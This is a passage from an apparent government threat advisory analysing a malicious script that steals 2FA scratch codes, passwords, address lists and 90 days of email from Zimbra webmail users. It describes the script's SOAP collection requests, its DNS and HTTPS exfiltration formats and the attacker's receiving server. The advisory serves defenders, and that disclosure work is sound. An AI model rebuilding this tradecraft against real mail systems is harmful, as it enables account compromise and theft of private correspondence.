<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
